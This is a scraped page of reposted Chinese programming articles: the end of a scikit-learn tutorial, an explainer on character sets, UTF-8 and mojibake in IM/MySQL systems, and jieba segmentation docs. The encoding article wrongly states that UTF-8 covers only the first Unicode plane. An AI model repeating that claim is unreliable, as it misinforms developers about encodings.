array[:,0:8] Y = array[:,8] num_trees = 100 max_features = 3 kfold = KFold(n_splits=10, random_state=7) model = RandomForestClassifier(n_estimators=num_trees, max_features=max_features) results = cross_val_score(model, X, Y, cv=kfold) print(results.mean()) 你能设计出更好的合奏吗?在评论中让我知道。 第13课:完成并保存模型 找到有关机器学习问题的良好模型后,您需要完成该模型。 在今天的课程中,您将练习与完成模型有关的任务。 练习使用模型对新数据(在训练和测试过程中看不到的数据)进行预测。 练习将经过训练的模型保存到文件中,然后再次加载。 例如,下面的代码片段显示了如何创建Logistic回归模型,将其保存到文件中,之后再加载它以及对看不见的数据进行预测。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Save Model Using Pickle from pandas import read_csv from sklearn.model_selection import train_test_split from sklearn.linear_model import LogisticRegression import pickle url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] test_size = 0.33 seed = 7 X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=test_size, random_state=seed) Fit the model on 33% model = LogisticRegression(solver='liblinear') model.fit(X_train, Y_train) save the model to disk filename = 'finalized_model.sav' pickle.dump(model, open(filename, 'wb')) some time later... load the model from disk loaded_model = pickle.load(open(filename, 'rb')) result = loaded_model.score(X_test, Y_test) print(result) 第14课:Hello World端到端项目 您现在知道如何完成预测建模机器学习问题的每个任务。 在今天的课程中,您需要练习将各个部分组合在一起,并通过端到端的标准机器学习数据集进行操作。 端到端遍历虹膜数据集(机器学习的世界) 这包括以下步骤: 使用描述性统计数据和可视化了解您的数据。 预处理数据以最好地揭示问题的结构。 使用您自己的测试工具抽查多种算法。 使用算法参数调整来改善结果。 使用集成方法改善结果。 最终确定模型以备将来使用。 慢慢进行,并记录结果。 您使用什么型号?您得到了什么结果?在评论中让我知道。 结束! (看你走了多远) 你做到了。做得好! 花一点时间,回头看看你已经走了多远。 您最初对机器学习感兴趣,并强烈希望能够使用Python练习和应用机器学习。 您可能是第一次下载,安装并启动Python,并开始熟悉该语言的语法。 在许多课程中,您逐渐地,稳定地学习了预测建模机器学习项目的标准任务如何映射到Python平台上。 基于常见机器学习任务的配方,您使用Python端到端解决了第一个机器学习问题。 使用标准模板,您所收集的食谱和经验现在可以自行解决新的和不同的预测建模机器学习问题。 不要轻描淡写,您在短时间内就取得了长足的进步。 这只是您使用Python进行机器学习的起点。继续练习和发展自己的技能。 喜欢点下关注,你的关注是我写作的最大支持 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_37337849/article/details/104016531。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-11 10:04:06
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...比如: 1)IM聊天消息中的Emoji表情为什么发给后端后MySQL数据库里会乱码; 2)文件名中带有中文的大文件聊天消息发送后,对方看到的文名是乱码; 3)Http rest接口调用时,后端读取到APP端传过来的参数有中文乱码问题; ... ... 那么,对于乱码这个看似不起眼,但并不是一两话能讲清楚的问题,是很有必要从根源了解字符集和编码原理,知其然知其所以然显然是一个优秀码农的基本素养,所以,便有了本文,希望能帮助到你。 推荐阅读:关于字符编码知识的详细讲解请见《字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8》。 学习交流: - 即时通讯/推送技术开发交流5群:215477170 [推荐] - 移动端IM开发入门文章:《新手入门一篇就够:从零开发移动端IM》 (本文同步发布于:http://www.52im.net/thread-2868-1-1.html) 2、关于作者 卢钧轶:爱捣腾Linux的DBA。曾任职于大众点评网DBA团队,主要关注MySQL、Memcache、MMM等产品的高性能和高可用架构。 个人微博:米雪儿侬好的cenalulu Github地址:https://github.com/cenalulu 3、系列文章 本文是IM开发干货系列文章中的第21篇,总目录如下: 《IM消息送达保证机制实现(一):保证在线实时消息的可靠投递》 《IM消息送达保证机制实现(二):保证离线消息的可靠投递》 《如何保证IM实时消息的“时序性”与“一致性”?》 《IM单聊和群聊中的在线状态同步应该用“推”还是“拉”?》 《IM群聊消息如此复杂,如何保证不丢不重?》 《一种Android端IM智能心跳算法的设计与实现探讨(含样例代码)》 《移动端IM登录时拉取数据如何作到省流量?》 《通俗易懂:基于集群的移动端IM接入层负载均衡方案分享》 《浅谈移动端IM的多点登陆和消息漫游原理》 《IM开发基础知识补课(一):正确理解前置HTTP SSO单点登陆接口的原理》 《IM开发基础知识补课(二):如何设计大量图片文件的服务端存储架构?》 《IM开发基础知识补课(三):快速理解服务端数据库读写分离原理及实践建议》 《IM开发基础知识补课(四):正确理解HTTP短连接中的Cookie、Session和Token》 《IM群聊消息的已读回执功能该怎么实现?》 《IM群聊消息究竟是存1份(即扩散读)还是存多份(即扩散写)?》 《IM开发基础知识补课(五):通俗易懂,正确理解并用好MQ消息队列》 《一个低成本确保IM消息时序的方法探讨》 《IM开发基础知识补课(六):数据库用NoSQL还是SQL?读这篇就够了!》 《IM里“附近的人”功能实现原理是什么?如何高效率地实现它?》 《IM开发基础知识补课(七):主流移动端账号登录方式的原理及设计思路》 《IM开发基础知识补课(八):史上最通俗,彻底搞懂字符乱码问题的本质》(本文) 4、正文概述 字符集和编码无疑是IT菜鸟甚至是各种大神的头痛问题。当遇到纷繁复杂的字符集,各种火星文和乱码时,问题的定位往往变得非常困难。 本文内容就将会从原理方面对字符集和编码做个简单的科普介绍,同时也会介绍一些通用的乱码故障定位的方法以方便读者以后能够更从容的定位相关问题。 在正式介绍之前,先做个小申明:如果你希望非常精确的理解各个名词的解释,那么可以详细阅读这篇《字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8》。 本文是博主通过自己理解消化后并转化成易懂浅显的表述后的介绍,会尽量以简单明了的文字来从要源讲解字符集、字符编码的概念,以及在遭遇乱码时的一些常用诊断技巧,希望能助你对于“乱码”问题有更深地理解。 5、什么是字符集 在介绍字符集之前,我们先了解下为什么要有字符集。 我们在计算机屏幕上看到的是实体化的文字,而在计算机存储介质中存放的实际是二进制的比特流。那么在这两者之间的转换规则就需要一个统一的标准,否则把我们的U盘插到老板的电脑上,文档就乱码了;小伙伴QQ上传过来的文件,在我们本地打开又乱码了。 于是为了实现转换标准,各种字符集标准就出现了。 简单的说:字符集就规定了某个文字对应的二进制数字存放方式(编码)和某串二进制数值代表了哪个文字(解码)的转换关系。 那么为什么会有那么多字符集标准呢? 这个问题实际非常容易回答。问问自己为什么我们的插头拿到英国就不能用了呢?为什么显示器同时有DVI、VGA、HDMI、DP这么多接口呢?很多规范和标准在最初制定时并不会意识到这将会是以后全球普适的准则,或者处于组织本身利益就想从本质上区别于现有标准。于是,就产生了那么多具有相同效果但又不相互兼容的标准了。 说了那么多我们来看一个实际例子,下面就是“屌”这个字在各种编码下的十六进制和二进制编码结果,怎么样有没有一种很屌的感觉? 6、什么是字符编码 字符集只是一个规则集合的名字,对应到真实生活中,字符集就是对某种语言的称呼。例如:英语,汉语,日语。 对于一个字符集来说要正确编码转码一个字符需要三个关键元素: 1)字库表(character repertoire):是一个相当于所有可读或者可显示字符的数据库,字库表决定了整个字符集能够展现表示的所有字符的范围; 2)编码字符集(coded character set):即用一个编码值code point来表示一个字符在字库中的位置; 3)字符编码(character encoding form):将编码字符集和实际存储数值之间的转换关系。 一般来说都会直接将code point的值作为编码后的值直接存储。例如在ASCII中“A”在表中排第65位,而编码后A的数值是 0100 0001 也即十进制的65的二进制转换结果。 看到这里,可能很多读者都会有和我当初一样的疑问:字库表和编码字符集看来是必不可少的,那既然字库表中的每一个字符都有一个自己的序号,直接把序号作为存储内容就好了。为什么还要多此一举通过字符编码把序号转换成另外一种存储格式呢? 其实原因也比较容易理解:统一字库表的目的是为了能够涵盖世界上所有的字符,但实际使用过程中会发现真正用的上的字符相对整个字库表来说比例非常低。例如中文地区的程序几乎不会需要日语字符,而一些英语国家甚至简单的ASCII字库表就能满足基本需求。而如果把每个字符都用字库表中的序号来存储的话,每个字符就需要3个字节(这里以Unicode字库为例),这样对于原本用仅占一个字符的ASCII编码的英语地区国家显然是一个额外成本(存储体积是原来的三倍)。算的直接一些,同样一块硬盘,用ASCII可以存1500篇文章,而用3字节Unicode序号存储只能存500篇。于是就出现了UTF-8这样的变长编码。在UTF-8编码中原本只需要一个字节的ASCII字符,仍然只占一个字节。而像中文及日语这样的复杂字符就需要2个到3个字节来存储。 关于字符编码知识的详细讲解请见:《字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8》。 7、UTF-8和Unicode的关系 看完上面两个概念解释,那么解释UTF-8和Unicode的关系就比较简单了。 Unicode就是上文中提到的编码字符集,而UTF-8就是字符编码,即Unicode规则字库的一种实现形式。 随着互联网的发展,对同一字库集的要求越来越迫切,Unicode标准也就自然而然的出现。它几乎涵盖了各个国家语言可能出现的符号和文字,并将为他们编号。详见:Unicode百科介绍。 Unicode的编号从 0000 开始一直到10FFFF 共分为17个Plane,每个Plane中有65536个字符。而UTF-8则只实现了第一个Plane,可见UTF-8虽然是一个当今接受度最广的字符集编码,但是它并没有涵盖整个Unicode的字库,这也造成了它在某些场景下对于特殊字符的处理困难(下文会有提到)。 8、UTF-8编码简介 为了更好的理解后面的实际应用,我们这里简单的介绍下UTF-8的编码实现方法。即UTF-8的物理存储和Unicode序号的转换关系。 UTF-8编码为变长编码,最小编码单位(code unit)为一个字节。一个字节的前1-3个bit为描述性部分,后面为实际序号部分: 1)如果一个字节的第一位为0,那么代表当前字符为单字节字符,占用一个字节的空间。0之后的所有部分(7个bit)代表在Unicode中的序号; 2)如果一个字节以110开头,那么代表当前字符为双字节字符,占用2个字节的空间。110之后的所有部分(5个bit)加上后一个字节的除10外的部分(6个bit)代表在Unicode中的序号。且第二个字节以10开头; 3)如果一个字节以1110开头,那么代表当前字符为三字节字符,占用3个字节的空间。110之后的所有部分(5个bit)加上后两个字节的除10外的部分(12个bit)代表在Unicode中的序号。且第二、第三个字节以10开头; 4)如果一个字节以10开头,那么代表当前字节为多字节字符的第二个字节。10之后的所有部分(6个bit)和之前的部分一同组成在Unicode中的序号。 具体每个字节的特征可见下表,其中“x”代表序号部分,把各个字节中的所有x部分拼接在一起就组成了在Unicode字库中的序号。如下图所示。 我们分别看三个从一个字节到三个字节的UTF-8编码例子: 细心的读者不难从以上的简单介绍中得出以下规律: 1)3个字节的UTF-8十六进制编码一定是以E开头的; 2)2个字节的UTF-8十六进制编码一定是以C或D开头的; 3)1个字节的UTF-8十六进制编码一定是以比8小的数字开头的。 9、为什么会出现乱码 乱码也就是英文常说的mojibake(由日语的文字化け音译)。 简单的说乱码的出现是因为:编码和解码时用了不同或者不兼容的字符集。 对应到真实生活中:就好比是一个英国人为了表示祝福在纸上写了bless(编码过程)。而一个法国人拿到了这张纸,由于在法语中bless表示受伤的意思,所以认为他想表达的是受伤(解码过程)。这个就是一个现实生活中的乱码情况。 在计算机科学中一样:一个用UTF-8编码后的字符,用GBK去解码。由于两个字符集的字库表不一样,同一个汉字在两个字符表的位置也不同,最终就会出现乱码。 我们来看一个例子,假设我们用UTF-8编码存储“很屌”两个字,会有如下转换: 于是我们得到了E5BE88E5B18C这么一串数值,而显示时我们用GBK解码进行展示,通过查表我们获得以下信息: 解码后我们就得到了“寰堝睂”这么一个错误的结果,更要命的是连字符个数都变了。 10、如何识别乱码的本来想要表达的文字 要从乱码字符中反解出原来的正确文字需要对各个字符集编码规则有较为深刻的掌握。但是原理很简单,这里用以MySQL数据库中的数据操纵中最常见的UTF-8被错误用GBK展示时的乱码为例,来说明具体反解和识别过程。 10.1 第1步:编码 假设我们在页面上看到“寰堝睂”这样的乱码,而又得知我们的浏览器当前使用GBK编码。那么第一步我们就能先通过GBK把乱码编码成二进制表达式。 当然查表编码效率很低,我们也可以用以下SQL语句直接通过MySQL客户端来做编码工作: mysql [localhost] {msandbox} > selecthex(convert('寰堝睂'using gbk)); +-------------------------------------+ | hex(convert('寰堝睂'using gbk)) | +-------------------------------------+ | E5BE88E5B18C | +-------------------------------------+ 1 row inset(0.01 sec) 10.2 第2步:识别 现在我们得到了解码后的二进制字符串E5BE88E5B18C。然后我们将它按字节拆开。 然后套用之前UTF-8编码介绍章节中总结出的规律,就不难发现这6个字节的数据符合UTF-8编码规则。如果整个数据流都符合这个规则的话,我们就能大胆假设乱码之前的编码字符集是UTF-8。 10.3 第3步:解码 然后我们就能拿着 E5BE88E5B18C 用UTF-8解码,查看乱码前的文字了。 当然我们可以不查表直接通过SQL获得结果: mysql [localhost] {msandbox} ((none)) > selectconvert(0xE5BE88E5B18C using utf8); +------------------------------------+ | convert(0xE5BE88E5B18C using utf8) | +------------------------------------+ | 很屌 | +------------------------------------+ 1 row inset(0.00 sec) 11、常见的IM乱码问题处理之MySQL中的Emoji字符 所谓Emoji就是一种在Unicode位于 \u1F601-\u1F64F 区段的字符。这个显然超过了目前常用的UTF-8字符集的编码范围 \u0000-\uFFFF。Emoji表情随着IOS的普及和微信的支持越来越常见。 下面就是几个常见的Emoji(IM聊天软件中经常会被用到): 那么Emoji字符表情会对我们平时的开发运维带来什么影响呢? 最常见的问题就在于将他存入MySQL数据库的时候。一般来说MySQL数据库的默认字符集都会配置成UTF-8(三字节),而utf8mb4在5.5以后才被支持,也很少会有DBA主动将系统默认字符集改成utf8mb4。 那么问题就来了,当我们把一个需要4字节UTF-8编码才能表示的字符存入数据库的时候就会报错:ERROR 1366: Incorrect string value: '\xF0\x9D\x8C\x86' for column 。 如果认真阅读了上面的解释,那么这个报错也就不难看懂了:我们试图将一串Bytes插入到一列中,而这串Bytes的第一个字节是 \xF0 意味着这是一个四字节的UTF-8编码。但是当MySQL表和列字符集配置为UTF-8的时候是无法存储这样的字符的,所以报了错。 那么遇到这种情况我们如何解决呢? 有两种方式: 1)升级MySQL到5.6或更高版本,并且将表字符集切换至utf8mb4; 2)在把内容存入到数据库之前做一次过滤,将Emoji字符替换成一段特殊的文字编码,然后再存入数据库中。之后从数据库获取或者前端展示时再将这段特殊文字编码转换成Emoji显示。 第二种方法我们假设用 --1F601-- 来替代4字节的Emoji,那么具体实现python代码可以参见Stackoverflow上的回答。 12、参考文献 [1] 如何配置Python默认字符集 [2] 字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8 [3] Unicode中文编码表 [4] Emoji Unicode Table [5] Every Developer Should Know About The Encoding 附录:更多IM开发方面的文章 [1] IM开发综合文章: 《新手入门一篇就够:从零开发移动端IM》 《移动端IM开发者必读(一):通俗易懂,理解移动网络的“弱”和“慢”》 《移动端IM开发者必读(二):史上最全移动弱网络优化方法总结》 《从客户端的角度来谈谈移动端IM的消息可靠性和送达机制》 《现代移动端网络短连接的优化手段总结:请求速度、弱网适应、安全保障》 《腾讯技术分享:社交网络图片的带宽压缩技术演进之路》 《小白必读:闲话HTTP短连接中的Session和Token》 《IM开发基础知识补课:正确理解前置HTTP SSO单点登陆接口的原理》 《移动端IM开发需要面对的技术问题》 《开发IM是自己设计协议用字节流好还是字符流好?》 《请问有人知道语音留言聊天的主流实现方式吗?》 《一个低成本确保IM消息时序的方法探讨》 《完全自已开发的IM该如何设计“失败重试”机制?》 《通俗易懂:基于集群的移动端IM接入层负载均衡方案分享》 《微信对网络影响的技术试验及分析(论文全文)》 《即时通讯系统的原理、技术和应用(技术论文)》 《开源IM工程“蘑菇街TeamTalk”的现状:一场有始无终的开源秀》 《QQ音乐团队分享:Android中的图片压缩技术详解(上篇)》 《QQ音乐团队分享:Android中的图片压缩技术详解(下篇)》 《腾讯原创分享(一):如何大幅提升移动网络下手机QQ的图片传输速度和成功率》 《腾讯原创分享(二):如何大幅压缩移动网络下APP的流量消耗(上篇)》 《腾讯原创分享(三):如何大幅压缩移动网络下APP的流量消耗(下篇)》 《如约而至:微信自用的移动端IM网络层跨平台组件库Mars已正式开源》 《基于社交网络的Yelp是如何实现海量用户图片的无损压缩的?》 《腾讯技术分享:腾讯是如何大幅降低带宽和网络流量的(图片压缩篇)》 《腾讯技术分享:腾讯是如何大幅降低带宽和网络流量的(音视频技术篇)》 《字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8》 《全面掌握移动端主流图片格式的特点、性能、调优等》 《子弹短信光鲜的背后:网易云信首席架构师分享亿级IM平台的技术实践》 《微信技术分享:微信的海量IM聊天消息序列号生成实践(算法原理篇)》 《自已开发IM有那么难吗?手把手教你自撸一个Andriod版简易IM (有源码)》 《融云技术分享:解密融云IM产品的聊天消息ID生成策略》 《适合新手:从零开发一个IM服务端(基于Netty,有完整源码)》 《拿起键盘就是干:跟我一起徒手开发一套分布式IM系统》 >> 更多同类文章 …… [2] 有关IM架构设计的文章: 《浅谈IM系统的架构设计》 《简述移动端IM开发的那些坑:架构设计、通信协议和客户端》 《一套海量在线用户的移动端IM架构设计实践分享(含详细图文)》 《一套原创分布式即时通讯(IM)系统理论架构方案》 《从零到卓越:京东客服即时通讯系统的技术架构演进历程》 《蘑菇街即时通讯/IM服务器开发之架构选择》 《腾讯QQ1.4亿在线用户的技术挑战和架构演进之路PPT》 《微信后台基于时间序的海量数据冷热分级架构设计实践》 《微信技术总监谈架构:微信之道——大道至简(演讲全文)》 《如何解读《微信技术总监谈架构:微信之道——大道至简》》 《快速裂变:见证微信强大后台架构从0到1的演进历程(一)》 《17年的实践:腾讯海量产品的技术方法论》 《移动端IM中大规模群消息的推送如何保证效率、实时性?》 《现代IM系统中聊天消息的同步和存储方案探讨》 《IM开发基础知识补课(二):如何设计大量图片文件的服务端存储架构?》 《IM开发基础知识补课(三):快速理解服务端数据库读写分离原理及实践建议》 《IM开发基础知识补课(四):正确理解HTTP短连接中的Cookie、Session和Token》 《WhatsApp技术实践分享:32人工程团队创造的技术神话》 《微信朋友圈千亿访问量背后的技术挑战和实践总结》 《王者荣耀2亿用户量的背后:产品定位、技术架构、网络方案等》 《IM系统的MQ消息中间件选型:Kafka还是RabbitMQ?》 《腾讯资深架构师干货总结:一文读懂大型分布式系统设计的方方面面》 《以微博类应用场景为例,总结海量社交系统的架构设计步骤》 《快速理解高性能HTTP服务端的负载均衡技术原理》 《子弹短信光鲜的背后:网易云信首席架构师分享亿级IM平台的技术实践》 《知乎技术分享:从单机到2000万QPS并发的Redis高性能缓存实践之路》 《IM开发基础知识补课(五):通俗易懂,正确理解并用好MQ消息队列》 《微信技术分享:微信的海量IM聊天消息序列号生成实践(算法原理篇)》 《微信技术分享:微信的海量IM聊天消息序列号生成实践(容灾方案篇)》 《新手入门:零基础理解大型分布式架构的演进历史、技术原理、最佳实践》 《一套高可用、易伸缩、高并发的IM群聊、单聊架构方案设计实践》 《阿里技术分享:深度揭秘阿里数据库技术方案的10年变迁史》 《阿里技术分享:阿里自研金融级数据库OceanBase的艰辛成长之路》 《社交软件红包技术解密(一):全面解密QQ红包技术方案——架构、技术实现等》 《社交软件红包技术解密(二):解密微信摇一摇红包从0到1的技术演进》 《社交软件红包技术解密(三):微信摇一摇红包雨背后的技术细节》 《社交软件红包技术解密(四):微信红包系统是如何应对高并发的》 《社交软件红包技术解密(五):微信红包系统是如何实现高可用性的》 《社交软件红包技术解密(六):微信红包系统的存储层架构演进实践》 《社交软件红包技术解密(七):支付宝红包的海量高并发技术实践》 《社交软件红包技术解密(八):全面解密微博红包技术方案》 《社交软件红包技术解密(九):谈谈手Q红包的功能逻辑、容灾、运维、架构等》 《即时通讯新手入门:一文读懂什么是Nginx?它能否实现IM的负载均衡?》 《即时通讯新手入门:快速理解RPC技术——基本概念、原理和用途》 《多维度对比5款主流分布式MQ消息队列,妈妈再也不担心我的技术选型了》 《从游击队到正规军(一):马蜂窝旅游网的IM系统架构演进之路》 《从游击队到正规军(二):马蜂窝旅游网的IM客户端架构演进和实践总结》 《IM开发基础知识补课(六):数据库用NoSQL还是SQL?读这篇就够了!》 《瓜子IM智能客服系统的数据架构设计(整理自现场演讲,有配套PPT)》 《阿里钉钉技术分享:企业级IM王者——钉钉在后端架构上的过人之处》 >> 更多同类文章 …… (本文同步发布于:http://www.52im.net/thread-2868-1-1.html) 本篇文章为转载内容。原文链接:https://blog.csdn.net/hellojackjiang2011/article/details/103586305。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-04-29 12:29:21
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...paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持strs=["我来到北京清华大学","乒乓球拍卖完了","中国科学技术大学"]for str in strs:seg_list = jieba.cut(str,use_paddle=True) 使用paddle模式print("Paddle Mode: " + '/'.join(list(seg_list)))seg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 精确模式seg_list = jieba.cut("他来到了网易杭研大厦") 默认是精确模式print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) 输出: 【全模式】: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学【精确模式】: 我/ 来到/ 北京/ 清华大学【新词识别】:他, 来到, 了, 网易, 杭研, 大厦 (此处,“杭研”并没有在词典中,但是也被Viterbi算法识别出来了)【搜索引擎模式】: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 添加自定义词典 载入词典 开发者可以指定自己自定义的词典,以便包含 jieba 词库里没有的词。虽然 jieba 有新词识别能力,但是自行添加新词可以保证更高的正确率 用法: jieba.load_userdict(file_name) file_name 为文件类对象或自定义词典的路径 词典格式和 dict.txt 一样,一个词占一行;每一行分三部分:词语、词频(可省略)、词性(可省略),用空格隔开,顺序不可颠倒。file_name 若为路径或二进制方式打开的文件,则文件必须为 UTF-8 编码。 词频省略时使用自动计算的能保证分出该词的词频。 例如: 创新办 3 i云计算 5凱特琳 nz台中 更改分词器(默认为 jieba.dt)的 tmp_dir 和 cache_file 属性,可分别指定缓存文件所在的文件夹及其文件名,用于受限的文件系统。 范例: 自定义词典:https://github.com/fxsjy/jieba/blob/master/test/userdict.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_userdict.py 之前: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 / 加载自定义词库后: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / 调整词典 使用 add_word(word, freq=None, tag=None) 和 del_word(word) 可在程序中动态修改词典。 使用 suggest_freq(segment, tune=True) 可调节单个词语的词频,使其能(或不能)被分出来。 注意:自动计算的词频在使用 HMM 新词发现功能时可能无效。 代码示例: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 “通过用户自定义词典来增强歧义纠错能力” — https://github.com/fxsjy/jieba/issues/14 关键词提取 基于 TF-IDF 算法的关键词抽取 import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence 为待提取的文本 topK 为返回几个 TF/IDF 权重最大的关键词,默认值为 20 withWeight 为是否一并返回关键词权重值,默认值为 False allowPOS 仅包括指定词性的词,默认值为空,即不筛选 jieba.analyse.TFIDF(idf_path=None) 新建 TFIDF 实例,idf_path 为 IDF 频率文件 代码示例 (关键词提取) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py 关键词提取所使用逆向文件频率(IDF)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_idf_path(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py 关键词提取所使用停止词(Stop Words)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_stop_words(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py 关键词一并返回关键词权重值示例 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_with_weight.py 基于 TextRank 算法的关键词抽取 jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=(‘ns’, ‘n’, ‘vn’, ‘v’)) 直接使用,接口相同,注意默认过滤词性。 jieba.analyse.TextRank() 新建自定义 TextRank 实例 算法论文: TextRank: Bringing Order into Texts 基本思想: 将待抽取关键词的文本进行分词 以固定窗口大小(默认为5,通过span属性调整),词之间的共现关系,构建图 计算图中节点的PageRank,注意是无向带权图 使用示例: 见 test/demo.py 词性标注 jieba.posseg.POSTokenizer(tokenizer=None) 新建自定义分词器,tokenizer 参数可指定内部使用的 jieba.Tokenizer 分词器。jieba.posseg.dt 为默认词性标注分词器。 标注句子分词后每个词的词性,采用和 ictclas 兼容的标记法。 除了jieba默认分词模式,提供paddle模式下的词性标注功能。paddle模式采用延迟加载方式,通过enable_paddle()安装paddlepaddle-tiny,并且import相关代码; 用法示例 >>> import jieba>>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门") jieba默认模式>>> jieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持>>> words = pseg.cut("我爱北京天安门",use_paddle=True) paddle模式>>> for word, flag in words:... print('%s %s' % (word, flag))...我 r爱 v北京 ns天安门 ns paddle模式词性标注对应表如下: paddle模式词性和专名类别标签集合如下表,其中词性标签 24 个(小写字母),专名类别标签 4 个(大写字母)。 标签 含义 标签 含义 标签 含义 标签 含义 n 普通名词 f 方位名词 s 处所名词 t 时间 nr 人名 ns 地名 nt 机构名 nw 作品名 nz 其他专名 v 普通动词 vd 动副词 vn 名动词 a 形容词 ad 副形词 an 名形词 d 副词 m 数量词 q 量词 r 代词 p 介词 c 连词 u 助词 xc 其他虚词 w 标点符号 PER 人名 LOC 地名 ORG 机构名 TIME 时间 并行分词 原理:将目标文本按行分隔后,把各行文本分配到多个 Python 进程并行分词,然后归并结果,从而获得分词速度的可观提升 基于 python 自带的 multiprocessing 模块,目前暂不支持 Windows 用法: jieba.enable_parallel(4) 开启并行分词模式,参数为并行进程数 jieba.disable_parallel() 关闭并行分词模式 例子:https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py 实验结果:在 4 核 3.4GHz Linux 机器上,对金庸全集进行精确分词,获得了 1MB/s 的速度,是单进程版的 3.3 倍。 注意:并行分词仅支持默认分词器 jieba.dt 和 jieba.posseg.dt。 Tokenize:返回词语在原文的起止位置 注意,输入参数只接受 unicode 默认模式 result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 搜索模式 result = jieba.tokenize(u'永和服装饰品有限公司', mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh 搜索引擎 引用: from jieba.analyse import ChineseAnalyzer 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py 命令行分词 使用示例:python -m jieba news.txt > cut_result.txt 命令行选项(翻译): 使用: python -m jieba [options] filename结巴命令行界面。固定参数:filename 输入文件可选参数:-h, --help 显示此帮助信息并退出-d [DELIM], --delimiter [DELIM]使用 DELIM 分隔词语,而不是用默认的' / '。若不指定 DELIM,则使用一个空格分隔。-p [DELIM], --pos [DELIM]启用词性标注;如果指定 DELIM,词语和词性之间用它分隔,否则用 _ 分隔-D DICT, --dict DICT 使用 DICT 代替默认词典-u USER_DICT, --user-dict USER_DICT使用 USER_DICT 作为附加词典,与默认词典或自定义词典配合使用-a, --cut-all 全模式分词(不支持词性标注)-n, --no-hmm 不使用隐含马尔可夫模型-q, --quiet 不输出载入信息到 STDERR-V, --version 显示版本信息并退出如果没有指定文件名,则使用标准输入。 --help 选项输出: $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. 延迟加载机制 jieba 采用延迟加载,import jieba 和 jieba.Tokenizer() 